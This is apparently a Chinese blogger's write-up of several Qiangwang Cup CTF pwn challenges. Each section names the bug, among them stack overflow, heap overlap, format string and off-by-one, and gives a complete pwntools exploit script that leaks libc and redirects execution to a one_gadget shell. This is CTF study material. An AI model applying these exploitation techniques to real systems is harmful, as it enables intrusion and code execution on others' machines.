登录后台

页面导航

本文编写于 92 天前,最后修改于 30 天前,其中某些信息可能已经过时。

前言

强网杯的题目质量挺高的,比赛也比较豪,奈何我太菜,我就单纯想捞一个安慰奖。

比赛的时候做了几道简单的pwn,顺便复现一下其他题目。

babymessage

栈溢出漏洞
先泄露libc再直接改ret地址为one_gadget就可以getshell

#coding:utf8
from pwn import *
context.log_level = 'debug'
debug = 0
elf = ELF('babymessage')
if debug:
    sh = process('./babymessage')
    libc = elf.libc
else:
    sh = remote('123.56.170.202', 21342)
    libc = ELF('libc-2.27.so')
def name(name):
    sh.sendlineafter('choice: \n',str(1))
    sh.recvuntil('name: \n')
    sh.send(str(name))
def mess(mess):
    sh.sendlineafter('choice: \n',str(2))
    sh.recvuntil('message: \n')
    sh.sendline(str(mess))
def show():
    sh.sendlineafter('choice: \n',str(3))

mess('v'*0x8)
mess('a'*0x10+p64(0X400ac3)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x40091A))
libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))

mess('v'*0x8)
mess('a'*0x10+p64(libc_base+0x10a45c))

sh.interactive()

babynotes

age那里存在溢出漏洞,可以由这几行代码实现

resgist('a'*0x18,'a'*0x20,'1')
add(0,0x80)
add(1,0x90)
delete(0)
reset('a'*0x18,'a'*0x20,'273')

溢出可以修改size,剩下的利用堆重叠就直接做了

#coding:utf8
from pwn import *
#context.log_level = 'debug'
debug = 1
elf = ELF('babynotes')

if debug:
    sh = process('./babynotes')
    libc = elf.libc
else:
    sh = remote('127.0.0.1', 10000)
    libc = ELF('libc-2.23.so')

def resgist(name,motto,age):
    sh.sendafter('name: \n',str(name))
    sh.sendafter('motto: \n',str(motto))
    sh.sendlineafter('age: \n',str(age))
def add(idx,size):
    sh.sendlineafter('>> ',str(1))
    sh.recvuntil('index: \n')
    sh.sendline(str(idx))
    sh.recvuntil('size: \n')
    sh.sendline(str(size))
def show(idx):
    sh.sendlineafter('>> ',str(2))
    sh.recvuntil('index: \n')
    sh.sendline(str(idx))
def edit(idx,data):
    sh.sendlineafter('>> ',str(4))
    sh.recvuntil('index: \n')
    sh.sendline(str(idx))
    sh.recvuntil('note: \n')
    sh.send(str(data))
def delete(idx):
    sh.sendlineafter('>> ',str(3))
    sh.recvuntil('index: \n')
    sh.sendline(str(idx))
def reset(name,motto,age):
    sh.sendlineafter('>> ',str(5))
    sh.sendafter('name: \n',str(name))
    sh.sendafter('motto: \n',str(motto))
    sh.sendlineafter('age: \n',str(age))
def check():
    sh.sendlineafter('>> ',str(6))

resgist('a'*0x18,'a'*0x20,'18446744073709551615')
add(0,0x80)
add(1,0x90)
delete(0)
reset('a'*0x18,'a'*0x20,'273')
check()
add(3,0x90)
edit(1,'a'*0x30)
show(1)
libc_base = u64(sh.recv(0x40)[0x38:0x3e].ljust(8,'\x00')) - 0x3c4b78
log.success('libc_base: '+hex(libc_base))
edit(1,'a'*0x28+p64(0x71))
add(2,0x68)
delete(2)
edit(1,'a'*0x28+p64(0x71)+p64(libc_base+libc.symbols['__malloc_hook']-0x23))
add(2,0x68)
add(0,0x68)
edit(0,'a'*0x13+p64(libc_base+0xf1207)*2)
add(4,0x10)
#gdb.attach(sh)
sh.interactive()

Just_a_Galgame

这里存在8字节的溢出,可以改top chunk,这道题提示使用House of Orange的技术

edit那里没有检查idx的大小,存在越界读写

#coding:utf8
from pwn import *
context.log_level = 'debug'
debug = 1
elf = ELF('game')

if debug:
    sh = process('./game')
    libc = elf.libc
else:
    sh = remote('127.0.0.1', 10000)
    libc = ELF('libc.so.6')


def gift():
    sh.sendlineafter('>> ',str(1))
def movie(idx,name):
    sh.sendlineafter('>> ',str(2))
    sh.recvuntil('idx >> ')
    sh.sendline(str(idx))
    sh.recvuntil('name >> ')
    sh.send(str(name))
def confess():
    sh.sendlineafter('>> ',str(3))
def show():
    sh.sendlineafter('>> ',str(4))
def leave(data):
    sh.sendlineafter('>> ',str(5))
    sh.sendafter('QAQ\n\n',str(data))
gift()
movie(0,'a'*0x8+p64(0xf91))
confess()
gift()
show()
sh.recvuntil('1: ')
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3c5188
log.success('libc_base: '+hex(libc_base))
gift()
leave(p64(libc_base+libc.symbols['__malloc_hook']-0x60))
movie(8,p64(libc_base+0xf1207)*2)
gift()
sh.interactive()

Siri

格式化字符串漏洞

由于程序开启了pie和full relro,所以不能改got表,改栈上数据也失败了,由于printf函数在输出一个大数的时候会调用malloc,所以改mallo_hook为onegadget,最后再使用printf函数调用即可

#coding:utf8
from pwn import *
import time
#context.log_level = 'debug'
debug = 0
elf = ELF('Siri')

if debug:
    sh = process('./Siri')
    libc = elf.libc
else:
    sh = remote('123.56.170.202', 12124)
    libc = ELF('libc.so.6')
def vuln(payload):    
    sh.recvuntil('>>> ')
    sh.send('Hey Siri!')
    sh.recvuntil('>>> ')
    sh.send('Remind me to '+payload)
vuln('%83$p')
sh.recvuntil('to ')
libc_base = int(sh.recv(14),16) - 0x21b97
log.success('libc_base: '+hex(libc_base))

one_gadget = 0x10a45c
print hex(libc_base+one_gadget)
one1 = libc_base+one_gadget&0xffff
one2 = libc_base+one_gadget>>16 &0xffff
one3 = libc_base+one_gadget>>32 &0xffff
print hex(one1)
print hex(one2)
print hex(one3)

payload = 'A'*5+'%'+str(one1-0x20)+'c'+'%18$hn'
payload += 'a'*19+p64(libc_base+libc.symbols['__malloc_hook'])+'\x00'
vuln(payload)
sh.recvuntil('>>> ')

payload = 'A'*5+'%'+str(one2-0x20)+'c'+'%18$hn'
payload += 'a'*19+p64(libc_base+libc.symbols['__malloc_hook']+2)+'\x00'
vuln(payload)
sh.recvuntil('AAAAA')

payload = 'A'*5+'%'+str(one3-0x20)+'c'+'%18$hn'
payload += 'a'*19+p64(libc_base+libc.symbols['__malloc_hook']+4)+'\x00'
vuln(payload)
sh.recvuntil('AAAAA')

sh.recvuntil('>>> ')
sh.sendline('Hey Siri!')
sh.recvuntil('>>> ')
sh.sendline('Remind me to %100000c\x00')

sh.interactive()

easypwn

禁用了global_max_fast,存在off-by-one漏洞

解题思路:

  1. 利用off-by-one漏洞实现堆重叠,改chunk的bk指针进行unsorted bin attack,改写global_max_fast;
  2. 利用fastbin attack攻击stdout,泄露libc,由于此时只能使用fastbin了,所以提前多布置一些0x71大小的chunk;
  3. 改写malloc_hook为onegadget

为了便于调试,建议别开alsr

#coding:utf8
from pwn import *
#context.log_level = 'debug'
debug = 1
elf = ELF('easypwn')

if debug:
    sh = process('./easypwn')
    libc = elf.libc
else:
    sh = remote('node3.buuoj.cn', 25793)
    libc = ELF('libc-2.27-64.so')


def add(size):
    sh.sendlineafter('Your choice:\n',str(1))
    sh.recvuntil('size:\n')
    sh.sendline(str(size))
def edit(idx,data):
    sh.sendlineafter('Your choice:\n',str(2))
    sh.recvuntil('idx:\n')
    sh.sendline(str(idx))
    sh.recvuntil('content:\n')
    sh.send(str(data))
def delete(idx):
    sh.sendlineafter('Your choice:\n',str(3))
    sh.recvuntil('idx:\n')
    sh.sendline(str(idx))

add(0x18)#0
add(0x118)#1
add(0x68)#2
add(0xf8)#3
add(0x18)#4

delete(0)
edit(2,'a'*0x60+p64(0x140+0x70))
delete(3)
add(0x18)#0
add(0x68)#3
add(0x218)#5
delete(5)
add(0x38)#5
add(0x68)#6
add(0x68)#7
add(0x68)#8
edit(1,'a'*0x68+p64(0x121)+'\n')
delete(5)
add(0x118)#5
delete(3)
edit(1,p64(0)+'\xe8\x37'+'\n')
add(0x60)#3
#
#gdb.attach(sh)
delete(8)

delete(3)

edit(1,'\x40'+'\n')
edit(5,'a'*0x38+p64(0x71)+'a'*0x68+p64(0x71)+'\xdd\x25'+'\n')
delete(5)

add(0x68)#3
add(0x68)#5
add(0x68)#8
edit(8,'A'*0x33+p64(0xfbad1887)+p64(0)*3+'\x00'+'\n')
libc_base = u64(sh.recvuntil('\x7f', timeout=0.2)[-6:].ljust(8, '\x00'))-0x3c5600
if libc_base == -0x3c5600:
    sh.close()
    exit(1)
log.success('libc_base: '+hex(libc_base))
delete(6)
edit(1,'a'*0x68+p64(0x121)+'a'*0x38+p64(0x71)+p64(libc_base+libc.symbols['__malloc_hook']-0x23)+'\n')
add(0x68)#6
add(0x68)#9
edit(9,'a'*0x13+p64(libc_base+0xf0364)*2+'\n')
add(0x10)
sh.interactive()

QWBlogin

直接看nop师傅的文章吧,师傅写得很详细,前面的解密环节比较麻烦

https://n0nop.com/2020/08/26/%E5%BC%BA%E7%BD%91%E6%9D%AF%E7%BA%BF%E4%B8%8A%E8%B5%9B%E9%83%A8%E5%88%86pwn/#%E8%A7%A3%E9%A2%98%E8%BF%87%E7%A8%8B

direct

漏洞点很容易找出来,edit的时候对offset没有检查

show功能实际是delete功能,这道题目也没有puts函数,无法通过stdout来泄露libc

有关puts和stdout的关系可以去libc.so看源码

在open和close有两个陌生函数,opendir函数和readdir函数内涵及用法

经测试发现在open的时候会申请0x8040的一个超大chunk,在read的时候会读入一些东西

这道题到了这里其实大致可以猜到了,需要修改超大chunk来泄露libc,将文件名改成main_arena的地址,需要用到unsorted bin attack

#coding:utf8
from pwn import *
context.log_level = 'debug'
debug = 1
elf = ELF('direct')

if debug:
    sh = process('./direct')
    libc = elf.libc
else:
    sh = remote('127.0.0.1', 10000)
    libc = ELF('libc.so.6')


def add(idx,size):
    sh.sendlineafter('Your choice: ',str(1))
    sh.recvuntil('Index: ')
    sh.sendline(str(idx))
    sh.recvuntil('Size: ')
    sh.sendline(str(size))
def edit(idx,offset,size,data):
    sh.sendlineafter('Your choice: ',str(2))
    sh.recvuntil('Index: ')
    sh.sendline(str(idx))
    sh.recvuntil('Offset: ')
    sh.sendline(str(offset))
    sh.recvuntil('Size: ')
    sh.sendline(str(size))
    sh.recvuntil('Content: ')
    sh.send(str(data))
def delete(idx):
    sh.sendlineafter('Your choice: ',str(3))
    sh.recvuntil('Index: ')
    sh.sendline(str(idx))
def opendir():
    sh.sendlineafter('Your choice: ',str(4))
def readdir():
    sh.sendlineafter('Your choice: ',str(5))
opendir()
readdir()
add(15,0xf8)
edit(15,-0x8290,0x20,'\xff'*0x20)
add(0,0xf8)
add(1,0x88)
add(2,0xf8)
add(3,0x88)
add(4,0x68)
add(5,0x88)
delete(0)
delete(2)
edit(1,-0xf8,0x10,'\xc3\x72')
edit(1,-0x100,0x10,p64(0))
edit(3,-0x100,0x10,p64(0)*2)
add(0,0xf8)
readdir()#change
readdir()#
libc_base = u64(sh.recvuntil('\x7f', timeout=0.2)[-6:].ljust(8, '\x00'))-0x3ebca0
log.success('libc_base: '+hex(libc_base))
delete(4)
edit(5,-0x70,0x10,p64(libc_base+libc.symbols['__malloc_hook']-0x23))
add(6,0x68)
add(7,0x68)
edit(7,0x13,0x10,p64(libc_base+0x10a38c)*2)
add(8,0x10)
#gdb.attach(sh)
sh.interactive()

oldschool也是tcache和unsorted bin attack的考点,就不浪费时间了

反思一下:比赛的时候不好好打,赛后去做发现题目其实并不难。。以后得加强练习,调整好比赛的心态了。